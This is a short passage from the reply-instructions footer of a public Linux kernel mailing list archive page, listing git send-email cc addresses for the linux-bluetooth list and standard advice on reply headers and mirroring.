--cc=linux-bluetooth@vger.kernel.org \
--cc=luiz.dentz@gmail.com \
--cc=marcel@holtmann.org \
--cc=vega@nebusec.ai \
--cc=zihanx@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox